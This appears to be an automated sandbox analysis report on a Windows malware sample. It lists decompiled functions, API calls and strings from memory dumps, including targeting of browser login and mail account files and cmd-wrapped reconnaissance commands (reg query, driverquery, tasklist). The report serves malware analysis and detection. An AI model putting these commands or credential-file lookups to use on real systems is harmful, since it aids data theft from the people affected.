4p8, xrefs: 0038B40A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID: 4p8
API String ID: 3990497365-3676198198
Opcode ID: f0854c20992f93f1d3dd618072c25a8fa88d71a0f9ffb117a417ac68ddd03dea
Instruction ID: 3f7e5e0cd95a139409a79469eb758c7743d43850703eee3d6f044cbc83b1c2db
Opcode Fuzzy Hash: f0854c20992f93f1d3dd618072c25a8fa88d71a0f9ffb117a417ac68ddd03dea
Instruction Fuzzy Hash: 46412E74A403589BDB22EB68DC85BDEB7BC9B48300F8440E5B548EB252D7B49F848F61

Uniqueness

Uniqueness Score: -1.00%

Function 003B7A64, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E003B7A64(char __edx, void* __edi) {
				char _v5;
				void* __ebx;
				void* __ecx;
				void* __ebp;
				intOrPtr _t25;
				intOrPtr* _t28;
				intOrPtr* _t29;
				intOrPtr* _t48;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				void* _t66;
				char _t67;
				void* _t77;
				struct HDC__* _t78;
				void* _t79;
				void* _t80;

				_t77 = __edi;
				_t67 = __edx;
				if(__edx != 0) {
					_t80 = _t80 + 0xfffffff0;
					_t25 = E00383408(_t25, _t79);
				}
				_v5 = _t67;
				_t65 = _t25;
				E0039C8D4(_t66, 0);
				_t28 =  *0x3d9ee0; // 0x3d93d0
				 *((intOrPtr*)(_t28 + 4)) = _t65;
				 *_t28 = 0x3b7e08;
				_t29 =  *0x3d9eec; // 0x3d93d8
				 *((intOrPtr*)(_t29 + 4)) = _t65;
				 *_t29 = 0x3b7e14;
				E003B7E20(_t65);
				 *((intOrPtr*)(_t65 + 0x3c)) = GetKeyboardLayout(0);
				 *((intOrPtr*)(_t65 + 0x4c)) = E003830CC(1);
				 *((intOrPtr*)(_t65 + 0x50)) = E003830CC(1);
				 *((intOrPtr*)(_t65 + 0x54)) = E003830CC(1);
				 *((intOrPtr*)(_t65 + 0x58)) = E003830CC(1);
				 *((intOrPtr*)(_t65 + 0x7c)) = E003830CC(1);
				_t78 = GetDC(0);
				 *((intOrPtr*)(_t65 + 0x40)) = GetDeviceCaps(_t78, 0x5a);
				ReleaseDC(0, _t78);
				_t48 =  *0x3da03c; // 0x3db910
				 *((intOrPtr*)( *_t48))(0, 0, E003B423C,  *((intOrPtr*)(_t65 + 0x58)));
				 *((intOrPtr*)(_t65 + 0x84)) = E0039F744(1);
				 *((intOrPtr*)(_t65 + 0x88)) = E0039F744(1);
				 *((intOrPtr*)(_t65 + 0x80)) = E0039F744(1);
				E003B8240(_t65, _t65, _t66, _t77);
				_t59 =  *((intOrPtr*)(_t65 + 0x84));
				 *((intOrPtr*)(_t59 + 0xc)) = _t65;
				 *((intOrPtr*)(_t59 + 8)) = 0x3b811c;
				_t60 =  *((intOrPtr*)(_t65 + 0x88));
				 *((intOrPtr*)(_t60 + 0xc)) = _t65;
				 *((intOrPtr*)(_t60 + 8)) = 0x3b811c;
				_t61 =  *((intOrPtr*)(_t65 + 0x80));
				 *((intOrPtr*)(_t61 + 0xc)) = _t65;
				 *((intOrPtr*)(_t61 + 8)) = 0x3b811c;
				_t62 = _t65;
				if(_v5 != 0) {
					E00383460(_t62);
					_pop( *[fs:0x0]);
				}
				return _t65;
			}

0x003b7a64
0x003b7a64
0x003b7a6c
0x003b7a6e
0x003b7a71
0x003b7a71
0x003b7a76
0x003b7a79
0x003b7a7f
0x003b7a84
0x003b7a89
0x003b7a8c
0x003b7a92
0x003b7a97
0x003b7a9a
0x003b7aa2
0x003b7aae
0x003b7abd
0x003b7acc
0x003b7adb
0x003b7aea
0x003b7af9
0x003b7b03
0x003b7b0d
0x003b7b13
0x003b7b26
0x003b7b2d
0x003b7b3b
0x003b7b4d
0x003b7b5f
0x003b7b67
0x003b7b6c
0x003b7b72
0x003b7b75
0x003b7b7c
0x003b7b82
0x003b7b85
0x003b7b8c
0x003b7b92
0x003b7b95
0x003b7b9c
0x003b7ba2
0x003b7ba4
0x003b7ba9
0x003b7bb0
0x003b7bb9

APIs

GetKeyboardLayout.USER32 ref: 003B7AA9
GetDC.USER32(00000000), ref: 003B7AFE
GetDeviceCaps.GDI32(00000000,0000005A), ref: 003B7B08
ReleaseDC.USER32(00000000,00000000), ref: 003B7B13

Strings

L9, xrefs: 003B7B31, 003B7B43, 003B7B55

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CapsDeviceKeyboardLayoutRelease
String ID: L9
API String ID: 3331096196-357692139
Opcode ID: 1055833c02a64419307706e899c783c553de968c942943b3024369fd91d79b6d
Instruction ID: 689d198f392ab3d5d52f27f51282561f2af02afc7b55cd6d75585ca01ceac207
Opcode Fuzzy Hash: 1055833c02a64419307706e899c783c553de968c942943b3024369fd91d79b6d
Instruction Fuzzy Hash: EA3105B46042419FD742EF69D8C2B887BE9FB14708F0490BAE948CF362DA329805CF25

Uniqueness

Uniqueness Score: -1.00%

Function 0234D60C, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 79libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(NTDLL.DLL,?,?,00000001,?,023483C3), ref: 0234D61D
LoadLibraryA.KERNEL32(NTDSAPI.DLL), ref: 0234D6B7
FreeLibrary.KERNEL32(00000000), ref: 0234D6C2

Strings

NTDLL.DLL, xrefs: 0234D618
NTDSAPI.DLL, xrefs: 0234D6B0

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Library$FreeHandleLoadModule
String ID: NTDLL.DLL$NTDSAPI.DLL
API String ID: 2140536961-3558519346
Opcode ID: ed6d9419963f0837e298e32eb5f775845f79201b78b9472e6d72ee3131d491eb
Instruction ID: 7217aae8a5ca559c103ccc6278faae095b5e4bf0542eb2aa0d3d2447cbd0923c
Opcode Fuzzy Hash: ed6d9419963f0837e298e32eb5f775845f79201b78b9472e6d72ee3131d491eb
Instruction Fuzzy Hash: CB31C1B1A043068FD714CF18C44876BBBE4FF84719F4089ADE889C7251EB74E549CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02349050, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 023418FE: RtlAllocateHeap.NTDLL(00000000,00000105), ref: 02341943
Part of subcall function 023418FE: RtlAllocateHeap.NTDLL(00000000,00000105), ref: 0234195B
Part of subcall function 023418FE: WaitForSingleObject.KERNEL32(00000000), ref: 02341A21
Part of subcall function 023418FE: HeapFree.KERNEL32(00000000,?), ref: 02341A4A
Part of subcall function 023418FE: HeapFree.KERNEL32(00000000,?), ref: 02341A5A
Part of subcall function 023418FE: RegCloseKey.ADVAPI32(?,?,00000000,?), ref: 02341A63

Part of subcall function 02348FC3: GetTempPathA.KERNEL32(00000000,00000000), ref: 02348FD5
Part of subcall function 02348FC3: GetTempPathA.KERNEL32(00000000,00000000), ref: 02348FEE
Part of subcall function 02348FC3: GetCurrentThreadId.KERNEL32(?,?,?,023535C0,00000000,?,00000000,00000000,00000000,?,?,?,023422AB,00000000), ref: 02348FFB
Part of subcall function 02348FC3: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,023535C0,00000000,?,00000000,00000000,00000000,?,?,?,023422AB,00000000), ref: 02349007
Part of subcall function 02348FC3: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000), ref: 02349015
Part of subcall function 02348FC3: lstrcpy.KERNEL32(00000000), ref: 02349037

Part of subcall function 02350C46: lstrlen.KERNEL32(00001000,.dll,00000000,00000000,02355235,00000000,00000000,00000000,?,023478FF,02367334,00001000,.dll,00000000,00001000,00000000), ref: 02350C4F
Part of subcall function 02350C46: mbstowcs.NTDLL ref: 02350C76
Part of subcall function 02350C46: memset.NTDLL ref: 02350C88

Part of subcall function 02341ADC: HeapFree.KERNEL32(00000000,?,02354DD0), ref: 02341AE8

PathFindFileNameW.SHLWAPI(00000000), ref: 023490AE

Part of subcall function 02349945: lstrlenW.KERNEL32(?,account{*}.oeaccount,00000001,?,00000250,?,00000000), ref: 02349991
Part of subcall function 02349945: lstrlenW.KERNEL32(?,?,00000000), ref: 0234999D
Part of subcall function 02349945: memset.NTDLL ref: 023499E5
Part of subcall function 02349945: FindFirstFileW.KERNEL32(00000000,00000000), ref: 02349A00
Part of subcall function 02349945: lstrlenW.KERNEL32(00000000), ref: 02349A38
Part of subcall function 02349945: lstrlenW.KERNEL32(?), ref: 02349A40
Part of subcall function 02349945: memset.NTDLL ref: 02349A63
Part of subcall function 02349945: wcscpy.NTDLL ref: 02349A75

DeleteFileW.KERNEL32(?,00000000,*.bin,?,00000000,00000000,00000000,?,000000D3), ref: 023490E1
HeapFree.KERNEL32(00000000,?), ref: 023490FA
HeapFree.KERNEL32(00000000,?,00000000), ref: 0234910D

Strings

*.bin, xrefs: 023490BE

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$FileFreelstrlen$PathTempmemset$AllocateFindNameTime$CloseCurrentDeleteFirstObjectSingleSystemThreadWaitlstrcpymbstowcswcscpy
String ID: *.bin
API String ID: 3311952166-1490590538
Opcode ID: 7abcb68fb809ae5708a8d62e38d8c12f04b392aca0ff495ce85b39e3c42bfd63
Instruction ID: ee79b01e2436103bdd9f941710e0e172779bde63be64575c885992ba4617ab7f
Opcode Fuzzy Hash: 7abcb68fb809ae5708a8d62e38d8c12f04b392aca0ff495ce85b39e3c42bfd63
Instruction Fuzzy Hash: B8216F71E01224BFCB209BA5CD89E9FBBFDEF49750B108896E505A3201DA71A910CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0234B766, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,767130EA,766F16D0,?,?,?,02359BF0,?,00000000,00000001), ref: 0234B776

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000,00000001,?,?,?,02359BF0,?,00000000,00000001), ref: 0234B798
lstrcpyW.KERNEL32(00000000,?), ref: 0234B7C4
lstrcatW.KERNEL32(00000000,\logins.json), ref: 0234B7D0

Part of subcall function 02341000: strstr.NTDLL ref: 023410BB
Part of subcall function 02341000: strstr.NTDLL ref: 02341100

Strings

\logins.json, xrefs: 0234B7CA

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: strstr$AllocateByteCharHeapMultiWidelstrcatlstrcpylstrlen
String ID: \logins.json
API String ID: 3712611166-2913861366
Opcode ID: 1cb8e8998d3b3346ed6c57c605df98ed7cd1bc8d62e4db69dbffb61bc0e52fd8
Instruction ID: 3a0a5615ed0e3907d9bfebe301cfd62194ef79cebdbd6a7820187a96f93c7679
Opcode Fuzzy Hash: 1cb8e8998d3b3346ed6c57c605df98ed7cd1bc8d62e4db69dbffb61bc0e52fd8
Instruction Fuzzy Hash: C1113371900519BFDF11AFA5DC88DDFBFAEEF04399B008065F90996010DB31EA55DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02345120, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000), ref: 02345134

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

mbstowcs.NTDLL ref: 02345150
lstrlen.KERNEL32(account{*}.oeaccount), ref: 0234515E
mbstowcs.NTDLL ref: 02345176

Part of subcall function 02349945: lstrlenW.KERNEL32(?,account{*}.oeaccount,00000001,?,00000250,?,00000000), ref: 02349991
Part of subcall function 02349945: lstrlenW.KERNEL32(?,?,00000000), ref: 0234999D
Part of subcall function 02349945: memset.NTDLL ref: 023499E5
Part of subcall function 02349945: FindFirstFileW.KERNEL32(00000000,00000000), ref: 02349A00
Part of subcall function 02349945: lstrlenW.KERNEL32(00000000), ref: 02349A38
Part of subcall function 02349945: lstrlenW.KERNEL32(?), ref: 02349A40
Part of subcall function 02349945: memset.NTDLL ref: 02349A63
Part of subcall function 02349945: wcscpy.NTDLL ref: 02349A75

Part of subcall function 02341ADC: HeapFree.KERNEL32(00000000,?,02354DD0), ref: 02341AE8

Strings

account{*}.oeaccount, xrefs: 02345158, 0234515D, 02345174

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrlen$Heapmbstowcsmemset$AllocateFileFindFirstFreewcscpy
String ID: account{*}.oeaccount
API String ID: 1961997177-4234512180
Opcode ID: b1e25264f30d2b61778b3e69ee71b66c6c4f18be70dff6f7d773e3e800b154ba
Instruction ID: c641dd3e4f80f6a65337601707b08d817010ddbfdc00cceb6427a68c11041b41
Opcode Fuzzy Hash: b1e25264f30d2b61778b3e69ee71b66c6c4f18be70dff6f7d773e3e800b154ba
Instruction Fuzzy Hash: FA019672D00214BBDF21ABA5CC49F9F7EEEEB44710F104065F509A2100EF71EA418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00382F6C, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49
registryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00382F6C() {
				void* _v8;
				char _v12;
				int _v16;
				signed short _t12;
				signed short _t14;
				intOrPtr _t27;
				void* _t29;
				void* _t31;
				intOrPtr _t32;

				_t29 = _t31;
				_t32 = _t31 + 0xfffffff4;
				_v12 =  *0x3d9020 & 0x0000ffff;
				if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Borland\\Delphi\\RTL", 0, 1,  &_v8) != 0) {
					_t12 =  *0x3d9020; // 0x27f
					_t14 = _t12 & 0x0000ffc0 | _v12 & 0x0000003f;
					 *0x3d9020 = _t14;
					return _t14;
				} else {
					_push(_t29);
					_push(E00382FDD);
					_push( *[fs:eax]);
					 *[fs:eax] = _t32;
					_v16 = 4;
					RegQueryValueExA(_v8, "FPUMaskValue", 0, 0,  &_v12,  &_v16);
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(0x382fe4);
					return RegCloseKey(_v8);
				}
			}

0x00382f6d
0x00382f6f
0x00382f79
0x00382f95
0x00382fe4
0x00382ff6
0x00382ff9
0x00383002
0x00382f97
0x00382f99
0x00382f9a
0x00382f9f
0x00382fa2
0x00382fa5
0x00382fc1
0x00382fc8
0x00382fcb
0x00382fce
0x00382fdc
0x00382fdc

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00382F8E
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00382FDD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00382FC1
RegCloseKey.ADVAPI32(?,00382FE4,00000000,?,00000004,00000000,00382FDD,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00382FD7

Strings

FPUMaskValue, xrefs: 00382FB8
SOFTWARE\Borland\Delphi\RTL, xrefs: 00382F84

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 367f10eeefa2978fcecc66bfdf4b7cc84d3347b6d0e4b588a0a4be7c5dcb5d10
Instruction ID: 978811ba16cccfa0ee6378e1854bff158cb7be46254c4159819eed27df1ef179
Opcode Fuzzy Hash: 367f10eeefa2978fcecc66bfdf4b7cc84d3347b6d0e4b588a0a4be7c5dcb5d10
Instruction Fuzzy Hash: CD014479A44309BADB13EBA0EC42FEE77BCEB08B10F1045E6FA04DA680E7755A11D754

Uniqueness

Uniqueness Score: -1.00%

Function 02353B03, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49sleepCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(P)(), ref: 02353B0E
Sleep.KERNEL32(0000000A,?,?,02357F76,00000000,?,0236710C), ref: 02353B18
SetEvent.KERNEL32(?,?,02357F76,00000000,?,0236710C), ref: 02353B6F
RtlLeaveCriticalSection.NTDLL(P)(), ref: 02353B8E

Strings

P)(, xrefs: 02353B08, 02353B0D, 02353B8D

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalSection$EnterEventLeaveSleep
String ID: P)(
API String ID: 1925615494-3792617651
Opcode ID: 8b099e07152d8a355b40eb550ea92150f8d14f8761a0f1d0cb7eb2c659302c1c
Instruction ID: 37acf785964c134c7d32ec924d89bd9a45e1537343d34cae9ad42f690bbd82ad
Opcode Fuzzy Hash: 8b099e07152d8a355b40eb550ea92150f8d14f8761a0f1d0cb7eb2c659302c1c
Instruction Fuzzy Hash: 360152F0EC4214BBD710AB61DD0EF5ABAACEB04B55F408466FB0B97180D7B495248FA1

Uniqueness

Uniqueness Score: -1.00%

Function 0234837B, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(02367360,0234A3BF), ref: 0234837F
GetModuleHandleA.KERNEL32(NTDLL.DLL,LdrRegisterDllNotification), ref: 02348393
GetProcAddress.KERNEL32(00000000), ref: 0234839A

Strings

NTDLL.DLL, xrefs: 0234838E
LdrRegisterDllNotification, xrefs: 02348389

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID: LdrRegisterDllNotification$NTDLL.DLL
API String ID: 3310240892-3368964806
Opcode ID: 9287fc51d38719ea2c044778ad231b3651e012bc382faa6ef509019226769868
Instruction ID: 25684f89dc079ac08afa40b2092ae340f5a2ac60eeff62b3b92f59f31391b59d
Opcode Fuzzy Hash: 9287fc51d38719ea2c044778ad231b3651e012bc382faa6ef509019226769868
Instruction Fuzzy Hash: 95014CB0681301AEE7519F659D4DB12BBEDEB05708F84C4E9E909C7295DB70E446CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00381A0C, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00381A0C() {
				signed int _t13;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t23;

				_push(_t23);
				_push(E00381AC2);
				_push( *[fs:edx]);
				 *[fs:edx] = _t23;
				_push("�\%");
				L00381360();
				if( *0x3db04d != 0) {
					_push("�\%");
					L00381368();
				}
				E003813D0(0x3db5ec);
				E003813D0(0x3db5fc);
				E003813D0(0x3db628);
				 *0x3db624 = LocalAlloc(0, 0xff8);
				if( *0x3db624 != 0) {
					_t13 = 3;
					do {
						_t20 =  *0x3db624; // 0x2575b8
						 *((intOrPtr*)(_t20 + _t13 * 4 - 0xc)) = 0;
						_t13 = _t13 + 1;
					} while (_t13 != 0x401);
					 *((intOrPtr*)(0x3db610)) = 0x3db60c;
					 *0x3db60c = 0x3db60c;
					 *0x3db618 = 0x3db60c;
					 *0x3db5c4 = 1;
				}
				_pop(_t19);
				 *[fs:eax] = _t19;
				_push(E00381AC9);
				if( *0x3db04d != 0) {
					_push("�\%");
					L00381370();
					return 0;
				}
				return 0;
			}

0x00381a11
0x00381a12
0x00381a17
0x00381a1a
0x00381a1d
0x00381a22
0x00381a2e
0x00381a30
0x00381a35
0x00381a35
0x00381a3f
0x00381a49
0x00381a53
0x00381a64
0x00381a70
0x00381a72
0x00381a77
0x00381a77
0x00381a7f
0x00381a83
0x00381a84
0x00381a90
0x00381a93
0x00381a95
0x00381a9a
0x00381a9a
0x00381aa3
0x00381aa6
0x00381aa9
0x00381ab5
0x00381ab7
0x00381abc
0x00000000
0x00381abc
0x00381ac1

APIs

RtlInitializeCriticalSection.KERNEL32(\%,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381A22
RtlEnterCriticalSection.KERNEL32(\%,\%,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381A35
LocalAlloc.KERNEL32(00000000,00000FF8,\%,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381A5F
RtlLeaveCriticalSection.KERNEL32(\%,00381AC9,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381ABC

Strings

\%, xrefs: 00381A1D, 00381A30, 00381AB7

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID: \%
API String ID: 730355536-3107672707
Opcode ID: 526700450dc12ff298bf36ce1f04a78ec4d55ab191edb524a5a34b529dcb74fd
Instruction ID: bf6932187341631d94a109c3cce4f6ff00b170fc651ed9cacc2df7dd3eb69a89
Opcode Fuzzy Hash: 526700450dc12ff298bf36ce1f04a78ec4d55ab191edb524a5a34b529dcb74fd
Instruction Fuzzy Hash: 3E016175646340DEE317BB69B816725B7CDD75AB40F0644A6F0408AAD1CBF888428B55

Uniqueness

Uniqueness Score: -1.00%

Function 0235FAAF, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,?,766F1215,?,023440B1,00000000,?,?,?,0235D0D4), ref: 0235FAD3
GetModuleHandleA.KERNEL32(NTDLL.DLL,LdrUnregisterDllNotification,?,766F1215,?,023440B1,00000000,?,?,?,0235D0D4), ref: 0235FAE7
GetProcAddress.KERNEL32(00000000,?,766F1215,?,023440B1,00000000,?,?,?,0235D0D4), ref: 0235FAEE

Strings

NTDLL.DLL, xrefs: 0235FAE2
LdrUnregisterDllNotification, xrefs: 0235FADD

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID: LdrUnregisterDllNotification$NTDLL.DLL
API String ID: 3310240892-3940208311
Opcode ID: 9e5eb4b95aefa3665c6926ad5bc6079d6d9e5bcaf3e15254d93feaad14043477
Instruction ID: 65074a342413906d27cd79e60d5242d4246828b954b5e7b7e26ab32ae1b5c13d
Opcode Fuzzy Hash: 9e5eb4b95aefa3665c6926ad5bc6079d6d9e5bcaf3e15254d93feaad14043477
Instruction Fuzzy Hash: 7901A2B5641610EFD724AF29E88CE26BBEEEF49304B54C49AF90E87715CB30D841CA61

Uniqueness

Uniqueness Score: -1.00%

Function 02355064, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39memorystringCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(02366FE0,00000000), ref: 02355070
RtlAllocateHeap.NTDLL(00000000,0000002A), ref: 0235508B
lstrcpy.KERNEL32(00000000,-01), ref: 023550AC
HeapFree.KERNEL32(00000000,00000000,?), ref: 023550CD

Part of subcall function 02348C7F: SetEvent.KERNEL32(?,?,0234C8B4), ref: 02348C94
Part of subcall function 02348C7F: WaitForSingleObject.KERNEL32(?,000000FF), ref: 02348CB4
Part of subcall function 02348C7F: CloseHandle.KERNEL32(00000000), ref: 02348CBD
Part of subcall function 02348C7F: CloseHandle.KERNEL32(?), ref: 02348CC7
Part of subcall function 02348C7F: RtlEnterCriticalSection.NTDLL(?), ref: 02348CCF
Part of subcall function 02348C7F: RtlLeaveCriticalSection.NTDLL(?), ref: 02348CE7
Part of subcall function 02348C7F: CloseHandle.KERNEL32(?), ref: 02348D03
Part of subcall function 02348C7F: LocalFree.KERNEL32(?), ref: 02348D0E
Part of subcall function 02348C7F: RtlDeleteCriticalSection.NTDLL(?), ref: 02348D18

Strings

-01, xrefs: 023550A4

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CloseCriticalHandleSection$FreeHeap$AllocateDeleteEnterEventExchangeInterlockedLeaveLocalObjectSingleWaitlstrcpy
String ID: -01
API String ID: 1103286547-1095514728
Opcode ID: 68d4cedef0fd8bfe5ca1670dc3e724324f24bd677342cf1622d531d335a1d4a1
Instruction ID: d367c7789f7c7743b7b31fa4d1939a8d178d8b9058cc004b65f21363919569c4
Opcode Fuzzy Hash: 68d4cedef0fd8bfe5ca1670dc3e724324f24bd677342cf1622d531d335a1d4a1
Instruction Fuzzy Hash: 26F036B5FC13207BD6312765AC0EF4B7E5DEF55F91F148861FA05AA184CA64E8248EA0

Uniqueness

Uniqueness Score: -1.00%

Function 0235FB2B, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,02346067,reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >,00000000,?,driverquery.exe >,00000000,?,tasklist.exe /SVC >,00000000,?,nslookup 127.0.0.1 >,00000000), ref: 0235FB30
RtlAllocateHeap.NTDLL(00000000,-0000000C), ref: 0235FB45
wsprintfA.USER32 ref: 0235FB5A

Part of subcall function 0234BF48: memset.NTDLL ref: 0234BF5D
Part of subcall function 0234BF48: lstrlenW.KERNEL32(00000000,00000000,00000000,771F49F0,00000000,cmd /C "%s> %s1"), ref: 0234BF98
Part of subcall function 0234BF48: wcstombs.NTDLL ref: 0234BFA2
Part of subcall function 0234BF48: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000044,?), ref: 0234BFD6
Part of subcall function 0234BF48: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,023556BA), ref: 0234C002
Part of subcall function 0234BF48: TerminateProcess.KERNEL32(?,000003E5), ref: 0234C018
Part of subcall function 0234BF48: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,023556BA), ref: 0234C02C
Part of subcall function 0234BF48: CloseHandle.KERNEL32(?), ref: 0234C05F
Part of subcall function 0234BF48: CloseHandle.KERNEL32(?), ref: 0234C064

HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0235FB78

Strings

cmd /U /C "type %s1 > %s & del %s1", xrefs: 0235FB54

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CloseHandleHeapMultipleObjectsProcessWaitlstrlen$AllocateCreateFreeTerminatememsetwcstombswsprintf
String ID: cmd /U /C "type %s1 > %s & del %s1"
API String ID: 1624158581-4158521270
Opcode ID: 79041fba97b58ff7cd37836caa82a21c3bfabc78fcc4c60159acac3a6fa207b1
Instruction ID: cc9ad44a3cb75b4343dc4ac0becb4f453dfa84ea1113d20a566888871edfdf25
Opcode Fuzzy Hash: 79041fba97b58ff7cd37836caa82a21c3bfabc78fcc4c60159acac3a6fa207b1
Instruction Fuzzy Hash: E3F02771EC022077D1201229BC0EF1B7E2DDFC2F70F148651F801E52C1CA20D8258964

Uniqueness

Uniqueness Score: -1.00%

Function 0234ED0A, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,.dll,00000000,00000000,02347945,00000000,.dll,00000000,00001000,00000000,00000000,02342185,?,02342185), ref: 0234ED18
lstrlen.KERNEL32(DllRegisterServer,?,02342185), ref: 0234ED26
RtlAllocateHeap.NTDLL(00000000,00000022), ref: 0234ED3B

Strings

DllRegisterServer, xrefs: 0234ED1E, 0234ED23, 0234ED4C
.dll, xrefs: 0234ED16

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

